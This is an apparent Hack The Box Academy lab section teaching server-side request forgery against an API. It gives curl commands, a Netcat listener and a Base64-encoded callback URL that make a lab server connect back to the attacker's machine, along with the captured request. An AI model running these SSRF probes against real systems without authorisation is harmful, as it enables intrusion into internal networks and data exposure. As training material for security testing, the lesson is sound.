# Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) attacks, listed in the OWASP top 10, allow us to abuse server functionality to perform internal or external resource requests on behalf of the server. We usually need to supply or modify URLs used by the target application to read or submit data. Exploiting SSRF vulnerabilities can lead to:

* Interacting with known internal systems
* Discovering internal services via port scans
* Disclosing local/sensitive data
* Including files in the target application
* Leaking NetNTLM hashes using UNC Paths (Windows)
* Achieving remote code execution

We can usually find SSRF vulnerabilities in applications or APIs that fetch remote resources. Our [Server-side Attacks](https://academy.hackthebox.com/module/details/145) module covers SSRF in detail.

As we have mentioned multiple times, though, we should fuzz every identified parameter, even if it does not seem tasked with fetching remote resources.

Let us assess together an API that is vulnerable to SSRF.

Proceed to the end of this section and click on Click here to spawn the target system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the supplied VPN key to reach the target API and follow along.

Suppose we are assessing such an API residing in http://<TARGET IP>:3000/api/userinfo.

Let us first interact with it.

yovecio@htb[/htb]$ curl http://<TARGET IP>:3000/api/userinfo  
{"success":false,"error":"'id' parameter is not given."}

The API is expecting a parameter called *id*. Since we are interested in identifying SSRF vulnerabilities in this section, let us set up a Netcat listener first.

yovecio@htb[/htb]$ nc -nlvp 4444  
listening on [any] 4444 ...

Then, let us specify http://<VPN/TUN Adapter IP>:<LISTENER PORT> as the value of the *id* parameter and make an API call.

yovecio@htb[/htb]$ curl "http://<TARGET IP>:3000/api/userinfo?id=http://<VPN/TUN Adapter IP>:<LISTENER PORT>"  
{"success":false,"error":"'id' parameter is invalid."}

We notice an error about the *id* parameter being invalid, and we also notice no connection being made to our listener.

In many cases, APIs expect parameter values in a specific format/encoding. Let us try Base64-encoding http://<VPN/TUN Adapter IP>:<LISTENER PORT> and making an API call again.

yovecio@htb[/htb]$ echo "http://<VPN/TUN Adapter IP>:<LISTENER PORT>" | tr -d '\n' | base64  
yovecio@htb[/htb]$ curl "http://<TARGET IP>:3000/api/userinfo?id=<BASE64 blob>"

When you make the API call, you will notice a connection being made to your Netcat listener. The API is vulnerable to SSRF.

yovecio@htb[/htb]$ nc -nlvp 4444  
listening on [any] 4444 ...  
connect to [<VPN/TUN Adapter IP>] from (UNKNOWN) [<TARGET IP>] 50542  
GET / HTTP/1.1  
Accept: application/json, text/plain, \*/\*  
User-Agent: axios/0.24.0  
Host: <VPN/TUN Adapter IP>:4444  
Connection: close

As time allows, try to provide APIs with input in various formats/encodings.